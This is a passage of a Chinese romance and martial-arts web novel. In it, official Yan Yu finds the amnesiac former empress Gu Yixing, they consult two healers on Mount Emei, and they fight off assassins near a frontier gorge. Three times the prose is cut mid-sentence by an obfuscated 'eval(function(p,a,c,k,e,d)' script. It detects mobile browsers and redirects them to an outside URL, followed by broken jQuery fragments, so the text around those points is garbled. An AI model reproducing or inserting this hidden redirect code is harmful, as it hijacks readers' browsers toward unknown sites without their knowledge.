阿心未见过他这般模样,他在提起这位故人时,眼睛里是有光的。而这位故人,应当就是他心里的光。 竟不知为何,阿心还真的被他口中的描述吸引了,想象着能让他做出如此高的评价的人应当是一位当世无双的奇女子吧。 “那对你而言,她又是如何?” 似乎有一种默契,使得阿心并未言明,言煜便已明白她所指。 “她是最重要的人。”言煜嘴角忍不住微微勾起,似是回忆起了种种过往,“她总是在不经意间撩拨着我的心意,却又不自知。” 然而下一刻,阿心却又看到他的眼眸变得深沉,整个人也似是染上了几分破碎的美感。 她只看见他微微攥紧了腰间的那块墨玉玉佩,过了良久才缓缓道:“是我曾经顾虑太多,太过软弱,才害得她遭小人算计身陷囹圄。若这一次我能找到她,无论多难,我绝不会再放手。” 不知为何,阿心的心里有些酸酸的,不是滋味。她望着他微微染红的眼尾,竟也难受极了,就连口中方才还格外清甜的味道也变得苦涩难耐了起来。 “听起来,她值得你这般相待。只是不知她对你……”阿心刻意侧过身去,向前走了几步,声音却有些软了下去。 阿心和言煜四处逛了一会儿,夜色有些沉了,阿心也觉得玩累了,便找了个茶馆坐了下来。 言煜吩咐小二上了一些茶水和小食,转过身便看见阿心望着不远处的说书台,台下人头攒动,却未有声音传来,似是还未开讲。 阿心喝了一口茶,眉头微微皱着,似是有些不耐烦,随后下意识地翘起了二郎腿。 恍然间,言煜看见面前人的模样与记忆中她的模样重叠在了一起。他的眼睛,微微红了。 就在此时,说书人慢悠悠地走上了台子。他手持醒木,啪的一声,顿时吸引了 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要知道身为女子参加选妃自不是稀奇事,可是身为男子参加选妃那就真是闻所未闻的奇事儿了!故而选妃二字一出,台下直接炸了锅,不少人你一句我一句的,那场面真真是热闹! 与众人反应不同,一旁的言煜却是眉头微微皱起,下意识地侧过身去看旁边的阿心。 他仔细地发现阿心的嘴角似是含着笑意,听得不亦乐乎,于是心里便更有些不是滋味。 “诸位安静,且听小老儿细细道来!”那说书人拍了一下醒木,笑着道。 “据说当时的场景可谓是十分热闹,世家大族中就连襄国公府,留越侯府都让自家的嫡长子参加了这次选妃。” 此言一出,台下窃窃私语的人有多了起来。 “虽然襄国公府因为后来贪污库银被吏部言煜大人查实,襄国公府一朝落败,但要知道选妃之时襄国公府虽不如前朝名声显赫,却称得上是高门大户。” “而襄国公府嫡长公子韩嵩虽是文弱,却也长得一副能得女子青睐的好皮相,也就得了凤希帝这多看一眼的缘份。” “后来呢?”不少人忍不住追问。 “有人说凤希帝后来将这位公子收入后宫做起了男|宠,也有人说凤希帝只是一时兴起拿美男做靶子练射箭,这剩下的小老儿便也不得而知了。” 台下嘘声一片,不过已经有人激情澎湃地编出了一个故事。 “我看哪!还是第一种可行些!凤希帝长得貌美,定然也是个怜香惜玉的人!”台下有一个人说道。 这人话说得大声,话自然也就传到了阿心和言煜的耳朵里。言煜虽然看上去镇定,但早已有些忍不住了。 而当他的余光瞥见一旁微微点头的阿心,胸口顿时又麻又痛,仿佛一下子窜起了一团无名火。他极快地握住她的手腕,向茶馆出口而去。 阿心自是觉得莫名其妙,再加上心中意犹未尽,便挣扎了一下:“我还没听完呢!” “不许听了!” 30. 相认 “不许听了!” “为什么?” 阿心也是个执拗的人,方才正听得兴起,却被言煜不明分说地拽了出来,自然要讨个说法。于是,阿心睁大了眼睛瞪着他。 “我说不许便不许……”言煜似是还在气头上,起初态度有些强硬,但瞥见阿心又生气又委屈的神情,语气便也不由自主地软了一半,“这些事情只是坊间传闻,人多嘴杂,还是少听为妙。” “可我觉得那个说书人和那些人说的挺对的呀……”阿心歪了歪脑袋,继续道,“既然皇帝能有后宫佳丽三千,那孤弈行也是皇帝,有后宫男宠三千有什么不得了的……” 言煜知道自己不该和她置气,正打算和她心平气和地好好说,却没想到听到她来这么一句,方才压下去的怒气一下子又冒了出来。 然而他正欲说话,却感觉身上冰冷刺骨,于是剧烈咳嗽了起来。 他微微抬头,看见方才晴朗的天空已经变得灰蒙蒙一片,他知道,要落雪了。 “少爷……”飞鸢急着去扶他。 这下阿心也有些手足无措,她想着自己也没干什么,怎么刚刚还好好的人突然就嘴唇苍白,咳嗽了起来。这个锅,她可不想背啊…… 言煜望了一眼阿心,似是知道她的心思,于是抿了抿唇,用尽全力想要抑制住那正蔓延至全身的疼痛,强颜欢笑。 “你……别怕。这只是旧疾,我无碍,一会儿就好,与你……无关。” 不知道是因为单纯的内疚还是一些别的情愫使然,阿心觉得自己不能坐视不理。于是她走上前去,搀过他的手,想要尽量让他的身体靠在自己身上,以此缓解他的不适。 她的手带着属于她的温度,在触碰到言煜右手的一瞬间让言煜感觉到了熟悉的温暖,还有许久未有的踏实。 言煜能感觉到阿心的手与寻常闺阁女子的手不同,虽然纤细虎口处却有一层厚厚的茧。他曾仔细观察过她的手,也正是如此,几乎可以说是一模一样。 言煜望着此刻眉头微微蹙起的阿心,眼眸深处暗流涌动。 片刻后,阿心和飞鸢扶着言煜到了一间客栈。此时天色已晚,外面风雪正盛,阿心和飞鸢都觉得言煜的身体不宜奔波,于是便想订两间房间供今晚暂住,谁承想客栈只剩下了一间房,是以就将这间房买了下来。 房间内供着火炉,相比室外暖和不少,因而言煜到了房间内脸色就好了许多。 “你快躺下。”阿心把言煜扶到床边。 言煜笑着摇了摇头。他知道今夜他们必要留宿此地,这间房内又只有一张床,他是绝不会允许她为了自己睡在椅子上,或者睡地铺的。 “我睡得浅,睡椅子上就好,你不用担心。”说完言煜便靠在旁边的椅子上,闭眼假寐。 阿心知道自己拗不过他,于是在嘴里嘀咕了一句:“平时你挺聪明的,这个时候倒犯起糊涂来了……” 阿心也不知道从什么时候起,自己竟真的对面前的男子多了几分真情。她甚至不再以人们惯用的尊称开口,而是直接唤“你”,就好像他们真的认识很久了一样…… 她觉得自己好像从前也有一个很在意的人,那个人和面前的男子竟是有些相像的…… 一晚上言煜迷迷糊糊的,总是半梦半醒。在不甚清醒的时候,他总是能看到她的脸,想起在南风寨的时候他犯了寒疾,她整夜抱着他,用自己的体温给他取暖。 但下一刻,她就消失不见了。他站在雪地里,四周白茫茫一片,再也看不见她的身影。 “弈行……”他在不省人事之时轻轻唤她。 阿心睡得并不熟,是以听到言煜说话的声音便醒了过来。她见他额间沁满了汗珠,鬓角也微微有些湿了,便伸手去拿了一块干净的方巾,走到他身旁。 “弈行……你会回来吗……” 这一次,阿心听清楚了,她的胸口酸酸的,又微微有些发麻,难受极了。 弈行……孤弈行。 其实在今日听说书的时候,她就想起来了一些事,她真的戏弄过一群准备被选妃的皇室子弟,真的曾率领万千铁骑在沙场驰骋。 而刚刚浅浅睡着的时候,她又做了一个梦。梦里她见到了那张熟悉的,俊美的脸,他分明唤自己“弈行”。 她最近记起的一切琐碎的记忆,恰好与孤弈行的经历完美吻合。只有一种情况可以解释这一切:她,就是孤弈行。 而面前的男子,就是她曾经在意的人。 孤弈行弯下腰来,细细观察着这张脸,这张原本应是极为熟悉的脸,她却好像许久未见过了。 长眉入鬓,鼻梁高挺,薄唇如玉,纵然是在病中,面前的人依旧如此绝色,绝色得像个妖精一般,让人忍不住想要触碰。 过了良久,她抚上自己的脸颊,撕下了那张人|皮面具,面具之后是一张明艳动人,却又英气十足的脸。 她靠近了一些,最后近到能感受到他的呼吸。然而她却没有就此停下,而是不由自主地,吻上了他的唇。 他的唇渗着寒意,可孤弈行不在乎,她只想让他感受到自己的温度。 她吻上他的唇的那一刻,他迷迷糊糊间以为自己做了一个梦,但片刻后他似是感受到了真实的体温,吃力地睁开了双眼。 他看到了蕴藏万千气韵的剑眉,那双自带风流的桃花眼,随后是那副整整五年间只会出现在他梦中的面庞。 他几乎,不敢相信自己看到的一切。但唇上的温度,又显得过于真切,让他知道这不是虚幻的梦境。 唇分之时,他甚至还有些恋恋不舍。他下意识地握住了她的手腕,右手越攥越紧。 “言煜,是我。”孤弈行静静地望着他,良久,道。 言煜没有说话,眼眶却有些红了。 “我不是有意瞒你,只是我……好像忘记了很多。”孤弈行顿了一下,心里有些酸涩,声音显得格外沉重,“我忘记了我的身份,忘记了我的过往,还有我们之间的……很多事。” “我知道……我都知道。”言煜伸手去抱她,说话的声音已是有些哽咽。 孤弈行能感觉到他抱自己抱得很用力,甚至使得她几乎有点喘不过气来,但她没有挣脱,只是任由他紧紧地抱住自己。 不知为何,尽管还没有想起很多事,孤弈行还是很坚信这是她第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828742|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见他这副模样。他死死地抱住她,就好像害怕自己只要一松手,她又会消失不见,离他而去。 那双轻轻抚在自己背上的手还泛着几分寒意,但孤弈行却感觉到了这五年来从未有过的踏实和温暖。 她伸出手,也想抱住他,可当她环抱住他的腰的那一刻,她的眼眶润湿了。 孤弈行能感觉到,他虽身披大氅,但他的腰身却依旧纤细得不成模样,就连系得最紧的衣带都显得有几分空荡。 他这些年一定过得度日如年,才会如此衣带渐宽吧。孤弈行忍不住去想,一时失神。 过了良久,言煜才松开她。他望着她的眼睛,凤眼深处的情绪在不经意间晕染开来,逐渐染红了他的眼尾。 他抿了抿唇,笑意浓重,说话的语气仿佛在说誓言:“只要你还好好活着,其他的都不重要。你忘记了很多事,我便会陪着你记起,这天下偌大,总会有办法。” 孤弈行勾了勾唇,微微点头,随即握住他的手,想要帮他驱散身体的寒意。 “所以,是素掌门救了你?”言煜反握住她的手,轻声道。 孤弈行点了点头:“是素掌门和千衣前辈救了我。” “既然素掌门和千衣前辈救了你,想必对你现在的情况也是更为了解,说不定她们能有办法,我明日便陪你上山请教。”言煜微微皱眉,眼眸深处尽是关切。 孤弈行心里泛起几分暖意,然而看着此刻脸色依旧有些苍白,额间沁着汗珠的言煜,也感觉有几分不是滋味。 她起初没有说话,只是小心地用手中攥着的方巾替他拭去额上的汗珠。 良久,才道了一句:“其实对我来说也不急于这一两日,你若是把身子熬坏了,等我想起了所有事,你却倒下了,这可如何是好?” 言煜知她心意,但为了让她放心,故意笑着逗她:“弈行方才可是说,后宫男宠三千也没什么不得了的。” 言煜没有再说下去,但在孤弈行看来这人言语之间的醋意已是极为明显。孤弈行甚至能感觉到,如今房间里的空气里都弥漫着一股似有若无的醋意,差点没把她熏晕。 不过随口一言,这位言大人还真是,记仇啊!孤弈行嘴角微微上扬,心想。 “什么国公府公子,我怎么从来都没见过?” 孤弈行摆出一副装傻充愣的无辜模样,不过有一点倒是真的,她是真的不记得在选妃的时候见过这位韩公子,更不用说收作男|宠了,真真是冤得慌! “听弈行的意思,是想见见么?”言煜勾了勾唇,笑意几不可见。 他的言语之间流露出几分慵懒,落入孤弈行耳中虽是极为好听,却好像只小猫在用毛茸茸的爪子轻轻地挠着她的耳朵,挠得她的五脏六腑都有些痒痒的。 孤弈行现在明白过来,这人简直就是,得寸进尺! 若是在从前,孤弈行恐怕还会怼回去,但此刻望着面前的男子,心里却依旧是酸酸的,隐隐几分内疚与不忍。 是以她故作叹气,望着言煜,缓缓道:“见过了一只狐狸,只怕世间男子很难再有入我眼的了。” 言煜望着孤弈行,笑意浓重,目光灼灼。 31. 未变 次日,等到积雪融化,孤弈行和言煜便走上了峨眉山山顶,在烟云缭绕的渡因楼前停下了脚步。 只是这一次,素朝英似是早就料到他们二人会来,还没等二人叩门,门就从里面打开了。 “素掌门。”二人对视了一眼,皆道。 素朝英望着言煜,随后又移过目光,转过身道:“进来吧。” 于是,二人在素朝英的带领下入了渡因楼。言煜意识到,与上一次入渡因楼不同,这一次香炉之中散发出的香气并不浓郁,只剩几缕清香,十分好闻。 画室内,素千衣正安坐,素朝英便也引了孤弈行与言煜坐下。 “看来言大人已经找到了那位故人。”素朝英望着孤弈行,淡淡道。 言煜不予置否,却是立身向素朝英和素千衣鞠了一躬,言辞恳切,目光灼灼:“还要多谢二位前辈对弈行的救命之恩与对言煜的信任。” “是言大人自己找到的故人,如今何出此言?”素朝英浅笑道。 “当日我与掌门交谈之时只提及故人之事,却未谈及阿心姑娘半分,可是掌门却有意让我多与阿心姑娘接触,可见是掌门给了我机会,让我再三确认阿心便是我要寻的故人。” 言煜回忆起当时之事,缓缓言道,言罢又向二人鞠了一躬。 “大人是聪明人,可是这机会是大人用真情打动了素某争取来的,也是大人自己抓住了机会。而素某也相信能让殿下这般至纯至性之人心念的人也值得我给这次机会。” 素朝英望着孤弈行和言煜,眼眸深处似有微波浮现。有那么一瞬间,她好像看到了过去的自己。只是面前的两个年轻人比自己和他幸运,能经得起这世间的更多考验。 “二位前辈,我与言煜今日前来是有一些事要请教。这些日子我逐渐能想起一些事,可是还有些事不管我怎么努力回忆都想不起来,二位前辈对此可有办法。”孤弈行道。 “殿下想不起来一些事,其实是因为当时我与师姐救下殿下之时殿下伤得过重,又身中剧毒,故而我只能用一些虎狼之药寻找救治的机会,这其中就有一味药名为忘忧草。” 素千衣顿了一顿,微微皱眉,继续道:“后来殿下虽脱离了生命危险,但是当时大剂量使用的忘忧草却影响了殿下的记忆。这些日子,殿下是因为与言大人朝夕相处,才会慢慢想起来的吗?” 孤弈行望向身旁的言煜,想来确实如此,于是朱唇微启:“是。” “那便是了。”素千衣舒了一口气,道,“素某医术不精,给殿下开的恢复记忆的药也只是起辅助作用罢了,效果有限。” “想要找回所有记忆唯一的方法不过于去一些对殿下有特殊意义的地方,见一些对殿下有特殊意义的东西或者故人,至于最终的效果,却也是因人而异。” 孤弈行勾了勾唇,浅浅一笑,豁达气魄尽显。 然而下一刻,她却神情严肃,没了方才的坦然。有一事,她想了很久,却始终未明。 “弈行尚有一事不明,我与二位前辈素未谋面,二位前辈又为何冒如此大的风险救我?” 素朝英笑了笑,道:“我二人与殿下素未谋面是真,可殿下却未必对我们无恩。” 孤弈行陷入了思考。 “听二位前辈的口音,似乎是北方人。”言煜似是想到了什么,深色的眼眸此刻似一泓幽静的深潭,眼神之中却流露出淡淡的感伤与无奈。 “不错。”素朝英笑道,“我二人祖上来自玉临关,家父家母与家中长辈也都长居玉临关。” 话音未落,孤弈行的眉头微微蹙起。她虽忘记了很多事,但她好像记得她的确有去过玉临关。 “玉临关外匈奴屡屡犯境,殿下在位之时几次挂帅,身先士卒,出兵镇压,这才有了玉临关百姓安乐的生活。而当日,我也是为了陪师妹去武延城外的青川峡谷采药,这才遇见了重伤的殿下。” “殿下不仅于我们二人有恩,更是对千千万万常年生活在边境三关之中的百姓有大恩。” 素朝英望着孤弈行,眼眸深处尽是感激,然而她似是想到了什么,叹了一口气,言语却是掷地有声。 “殿下在时不惜用性命守城,寸土不让。可殿下失踪后江山易主,新帝不战而割地百余里,玉临关和嘉南关就这样落入了匈奴的手中!” 虽然还未寻回全部记忆,但当孤弈行望着素朝英微红的眼眶,她感觉到胸口有一股压抑了很久的情绪,在此刻几乎就要倾泻而出。 她从未这样清晰地地感受到,自己做的一些事对于百姓,对于这天下会有如此重要的影响。 “二位前辈放心,只要我孤弈行还活着,玉临关和嘉南关的百姓终有一日会重归故土,重归故国。” 孤弈行与素朝英和素千衣对视。孤弈行一改平日的恣意,剑眉凌厉,眼神坚毅,言语之间,仿佛掷地有声。 “有殿下这句话,便足够了。既如此,我与师姐便代玉临关与嘉南关的百姓谢过殿下了。” 这时一向安静的素千衣也按捺不住了,素来凉薄的眼眸深处亦暗流涌动。 然而孤弈行却似想到了什么,剑眉微微蹙起,薄唇微启:“弈行还有一事请教。方才千衣前辈说我当时中了剧毒,前辈可知我当时是中了哪种毒?” “我在此之前虽未曾见过这种毒,但我后来在翻阅典籍的过程中发现了一种与你所中之毒的毒发症状颇为相似的匈奴的烈性毒药。” “此毒药名为涣神散,可在一定时间内使中毒者四肢无力,浑身剧痛,难以动用武功,毒入骨髓后会使人暴毙而亡。” “如此看来,他早就与匈奴勾结。”孤弈行的右手微微攥紧,素色长袍的一角被她生生蹂躏出了几道难以忽视的褶皱。 “等你找回记忆之后,我们再从长计议。”言煜似是早就留心着孤弈行的一举一动,见她此状握住了她的右手,缓缓抚摸,四目相对。 孤弈行能感觉他的声音极软,音量不大,与其说是劝说,不如说是在安抚着她的情绪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828743|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她勾了勾唇,似是也不忍让他担心,再开口是却是傲气侧漏:“我虽忘记了很多事,但我是孤弈行这一点,从未变过。” 言煜微微愣住,随即唇角处流露出淡淡的笑意。 在那恍惚的一瞬间,言煜想到了许多,他望着面前气韵不凡的女子,不禁自嘲地笑了笑,声音略显沙哑:“这倒是我多虑了!你本就胜过这世间万千男子……” 孤弈行望着那双素来矜贵庄重的凤眼,却见眼眸深处似有亮光浮动。 等到二人出了渡因楼,已近黄昏。孤弈行见言煜一直不说话,终究是忍不住拦住了他的去路,先开口|活跃气氛:“让我猜猜我们言大人在想什么。” 言煜哭笑不得,但却很是捧场。他薄唇轻抿,笑意之间尽显宠溺:“好。” 孤弈行背着手绕着他身前走了几步,道:“我想你定然是想与我一同前往武延城。” “弈行为何这么觉得?” 言煜浅笑,不予置否,但对于孤弈行这般猜想他却是一点都不觉得惊讶,毕竟她的智谋,他从前也是领教过的。那时候他们二人互相试探,一来一往,他虽不说落了下风,但也没讨到什么好处。 “千衣前辈说要想让我找回记忆,不过于去一些对我有特殊意义的地方,和见一些对我有特殊意义的人。对我有特殊意义的人我已经见了,如今玉临关和嘉南关都已经被匈奴所占,便只剩下武延城了。”孤弈行道。 言煜笑着点了点头,但他只是站在原地望着面前的女子,良久才开了口,声音依旧有些沙哑:“对我来说,这一日好像做梦一般。直到现在,我还有些不敢相信。” 他的声音落入孤弈行的耳中,孤弈行觉得自己的胸口有些发闷,身体酸软,甚至有些使不上力气。 刚刚经过与素朝英和素千衣的一番交谈她才知道,她竟就这么浑浑噩噩地过了五年。 她总是忍不住去想,这五年时间说长不长,说短不短,对她来说是难熬的,对他而言又何尝不是呢? 她微微抬头,对上他的一双凤眼。 这双凤眼眼眸深沉,此刻却似含着几寸秋水,又似笼着几缕烟云。他这般望着她的时候,她的心总是忍不住软下来,想要对他毫无保留。 这五年间,她也见过无数人,看过无数双眼睛,可在她心中却没有一双眼睛能与之媲美。就算是她不认识他的时候,她也会对他心动。 孤弈行也说不出自己心里此刻是何种滋味,或许是愧疚,又或许是心疼。 她微微仰起头,伸出右手用指尖挑起了他的下巴。她的眼似桃花,带着几分风流轻佻,却有夹杂着几分情愫。 言煜与她对视,颈部微微隆起的喉结却在此刻不由自主地上下滚动。不经意间,他的耳根已是有些红了,原本有些冰冷的身体也不由得炙热了些。 “那现在呢?焕卿还觉得这一切是梦吗?” 这时言煜能确认这绝不是梦,而正如她自己所说,她从未变过,还是那么喜欢撩拨人……而不自知。 32. 遇刺 虽然回山下的住处尚且来得及,但此时突然又飘了雪,孤弈行担心言煜的旧疾,便找了一间自己住处附近的空房,打算让言煜今晚住下。 然而就当二人觉得万事已经安排妥当,推开那间空房的房门,二人都被房间内的灰尘呛了好几口。 这确实是一间空房,却是一间看上去很久都没有人打扫过的空房,屋内蛛网密布不说,桌子上的灰尘看上去有四五块方巾叠起来那么厚,亏得刚才孤弈行还向言煜保证他能拎人入住! 言煜无奈之极反笑,然后侧过身去等着她的反应。 孤弈行站在原地,抿了抿唇,似是也被自己这出弄失语了。她转过身去正好对上言煜有些微妙的神情,略显尴尬地笑了笑,但下一秒声音却一点都不发软:“这肯定是老天在锻炼我的一双巧手!” 言煜也不戳穿她,只是十分配合地点了点头,随即就去她屋内拿了工具开始清扫这间惨不忍睹的屋子。 孤弈行自然也不甘落后,也连忙动手干起活来。 说来也奇怪,一个是位高权重的当朝吏部尚书,一个是战功赫赫,曾经一统天下的“先帝”,如今在这间小屋子里干着家务活的画面倒是颇为和谐。只不过若是说书人能看到这副景象,恐怕是要哑口无言了。 两个人忙活了大半个时辰,总算把这间屋子打扫得干干净净。 孤弈行先歇下来,坐在椅子上翘着二郎腿喝了一口茶,却见言煜转过身来,只见他原本白皙的额头上已经染上了不少灰尘,就连鼻尖都有些灰灰的,看上去可是有些狼狈,活像一只大花猫。 孤弈行原本想憋笑,但努力了一会儿终究是没忍住,噗嗤一声就笑了出来,之后便是一发不可收拾。 但孤弈行没意识到,言煜望着自己,嘴角也忍不住微微上扬。孤弈行笑得太过肆意,以至于直到言煜距离自己只有半步之遥,她才意识到。 而下一秒,她却感受到他微微发凉的指尖落在她的脸颊上,抚摸了片刻才收回。 孤弈行觉得不对劲,于是对着一面镜子一照,才发现自己整张脸都脏乎乎的,落在脸上的灰尘简直把她变成了一只大黑猫!是比言煜这只大花猫还要黑的那种! 孤弈行顿悟方才自己不是在五十步笑百步,简直是百步笑五十步!想到刚才自己的模样,孤弈行生平第一次想找个地洞钻下去,把自己埋起来。 偏生言煜不知从哪里学来的毛病,此刻还在一旁用欣赏的眼神打量着她,良久笑眯眯地道了一句:“挺可爱的。” 结果就是孤弈行忍无可忍,恼羞成怒地来了一句:“走开!” ******** 四日后,言煜上山接了孤弈行,二人便乘着马车向武延城行进。 孤弈行一上车就找了个舒服的姿势坐着,然而她似是还因为前几日言煜的那句话耿耿在怀,总觉得伤了她威严的形象,再见时便有些拉不下脸来,于是过了良久才装作无意地问了一句:“这么快就搞定了?” 孤弈行话未明指,但言煜却已然明白她所问,浅笑答道:“如今武延城的守将是你从前的老部下,京中那位不放心已久,此次我请旨前往督查,本就是正中其下怀,他自然没有二话。” 孤弈行微微颔首:“如今镇守武延城的是哪位将军?” “原先的车骑将军沈离松,如今任西北边护使。”言煜望着孤弈行,眸色渐深,薄唇轻抿,“实际上,想要置他于死地的,又何止京中那一位?” 孤弈行神情严肃,若有所思。 自峨眉去武延路途遥远,至少也要七八天车程。然而前几日还是晴空万里,临近武延之时天空便总是阴沉一片。言煜担心后几日天气会更为恶劣,于是便让飞鸢驾驶马车不入武延城内,直往青川峡谷而去。 马车缓缓驶过青川峡谷外的荒原之时,言煜似是想到了什么,拉开了车帘。 他任凭凌冽的北风像刀子一般划过自己的脸颊,始终没有把车帘拉上。 他向外望去,只觉得这一片荒原和当年一般寸草不生,只是当年无数鲜血汇成的大大小小的血泊已经干涸,原本浅灰色的土壤经过风吹日晒被染成了深褐色。纵然有泥沙石砾覆盖,还是能隐约看见几具残碎的白骨。 他至今还记得他当年经过此处的心情。他见到无数战士倒在血泊之中的躯体,见到那立在荒原之中摇摇欲坠的凤字旌旗,他的心中除了从未有过的急切,更有着从未有过的悲痛。 “旧地见白骨,难能望故乡。” 言煜转身望去,见孤弈行亦望着窗外,眼尾却不知何时被染红了。他原以为她睡着了,却不曾知道她只是假寐,想来也是,到了这一处地方,又有谁能安眠?更何况是她呢? 下一刻,孤弈行便拉上了车帘,悲怆的眼神中透露出几分机警。她转过身来望着言煜,从腰间抽出一柄软剑,轻声道:“有马蹄声,听着距离不远,且至少有四五十人。” 然而此时是一片荒原,地形平坦,想要藏身是绝无可能了。 此时飞鸢也意识到了情况的不对劲,他探头道:“少爷,后面有人!” “等找到时机你便先走,脱身后去武延城找沈离松将军,让他带人来青川峡谷接应我们。”言煜手握长剑,格外冷静。 “飞鸢愿誓死保护少爷!”飞鸢似是不放心言煜的安危,道。 “飞鸢,这是命令!此处到武延城快马加鞭往返不过一日有余,你若不走,便无人能接应!” 就在此时,后面的人已经冲了上来。他们手持弓箭,数箭齐发,气势汹汹,却被孤弈行与言煜二人持剑侧身躲开。 但下一刻,孤弈行却听见了锁链的声音,她知事情不妙,便将言煜扑倒,顺势破了车窗。 就在这一刻,马车的车厢四分五裂,车顶被掀开了几丈远,最后重重地落在了地上,掀起漫天泥沙。 孤弈行与言煜对了个眼色,随即持剑向敌人杀去。二人默契十足,先是解决了弓箭手,再手持弓箭射杀敌人。 这么鏖战下来,那群人死伤大半。言煜看准了时机,喝了一声:“飞鸢!” 飞鸢得令杀了一个敌人后也不恋战,骑马而去,那群人似是没有事先料到,等到反应过来之时飞鸢已经走远了。 那群人见放走了一个人,知道若此次不能成事回去无法交代,于是将孤弈行与言煜围在中间,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828744|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神凶狠,伺机而动。 孤弈行与言煜背靠着背警戒,孤弈行却似想到了什么,勾了勾唇,故意揶揄道:“这下我可是被你害惨咯!” 言煜浅笑不语,但心中已然明了。正如孤弈行所言,这群人就是冲着他来的。 然而他前脚刚刚处理完了孙厚以及当地一众官员谎报情况,用下拨的粮食中饱私囊的事,后脚就遭到了刺杀,这天底下哪有这么巧的事?由此可见,这件事背后真正的大鱼已经蠢蠢欲动了。 “后悔了?”言煜故意挑逗。 “奉陪到底!” 孤弈行朱唇微启,眼神中流露出一丝不屑,下一秒便持剑向那一群像饿狼一般扑上来的敌人厮杀而去。 她的身前,一个又一个的敌人倒在血泊里,再也爬不起来。 飞迸而出的鲜血将她的半边脸和衣裳染红,白皙的肌肤因为缀上了点点殷红而更显得整个人明艳动人,只是相比往日多了几分狠厉。 临近青川峡谷,孤弈行发现她对过去的记忆越来越清晰了,说不定这一次,她终于,能回来了。 “小心身后!” 就在她微微出神之时,熟悉的声音把她拉回了现实,而她也分明听到身后细微的气流搅动的声响。孤弈行于是迅速侧过身去,压低身面单手撑地,再一个鲤鱼打挺稳稳落地,整套动作如行云流水。 这时候孤弈行看到,自己身后不知何时冒出来了一个看上去至少有两百斤的壮汉甩着布满倒钩的铁链向自己气势汹汹而来。 此时另一边言煜被几个刺客围困暂时无法快速脱身,但孤弈行孤身面对这个在力量上足够天赋异禀的对手丝毫不怯。 她甚至还嫌不够乱,故意添把火似的向他招了招手,冷笑道:“来!” 如此一来,那壮汉果然被惹怒了。他一边往前冲,一边用蛮力将铁链向孤弈行甩去。其力量之大,就连如寻常男子手臂那么粗的铁锁也在他的动作下发出了可怕的哐哧哐哧的巨响。 若说那壮汉是座山,那孤弈行便是这水里的鱼,或者形象点便是泥鳅,总能从他手里滑溜溜地逃脱。 甚至有一次,孤弈行刻意设计好了走位,故意走偏了半寸,让那壮汉误伤了一个自己人,结果那被误伤的可怜人根本没来得及反应过来就被铁锁上的倒钩抹了脖子,当场毙命。 过了一会儿,孤弈行就意识到那壮汉甩铁锁的速度逐渐慢了下来,她便知道时机到了。孤弈行不再避让,而是持剑向他刺去与他近身搏斗,一旦近了身,铁锁便显得有些笨拙,施展不开了。 孤弈行不欲与他比力量,却是比速度。因为她最是明白,天下武功,唯快不破的道理。 壮汉下盘不稳,故而孤弈行就刻意持剑刺他膝盖,孤弈行的速度极快,于是几招下来就刺中了他的膝盖,随后在他疼痛之际,抹了他的脖子,一具巨大的身体轰然倒地。 此时言煜也脱了身,正欲向孤弈行走去,却见几步之外有一人欲逃,便迅速拿起一张落在地上的弓箭,拉弓如满月,将箭射出。 另一边孤弈行亦是注意到了那个人,几乎同时将箭射出,两箭均从后背正中左胸心脏,那人随即毙命。 33. 野狼 “箭术不错!” 孤弈行对着言煜挑了挑眉,下意识地打了个响指。 言煜没有说话,只是嘴角微微上扬。 “只是还比我差了那么一点点。”这后半句孤弈行可谓是不吐不快。 言煜似是料到了孤弈行会这么说,眼眸深处泛起缕缕微波,笑意浓重。 “弈行,你现在感觉如何?”言煜问道。 “感觉……好像有什么东西压在我心口上。”孤弈行眉头微微蹙起,仔细思索道,“我好像想起来当年我被喻威设局,身中一箭,箭上有剧毒,我一路行至此处。” “当时孟启和琴潇替我引开追兵,我孤身一人到了断崖下的一处地方。” 孤弈行右手按着太阳穴,想要努力继续回忆脑海中却只回荡着战士厮杀时声嘶力竭的呐喊声,孟启对她说的“陛下,坚持住”,还有琴潇的那句“陛下快走,琴潇会拼死拖住他们”。 她还能站在这里,是个奇迹。但这个奇迹的背后,有着太多人的拼死守卫,而这些人中的大多数人的名字一生不为人所知。 想到这里,孤弈行的眼尾被染红了。她右手微微攥紧,心情久久不能平静。 过了良久,她才挣扎着开了口,声音已是有些嘶哑:“当年后来发生了什么?孟启和琴潇……还活着吗?” 言煜神情严肃,他知道自己接下来说的每一个字都如同血淋淋的烙印烙在她的胸口上。 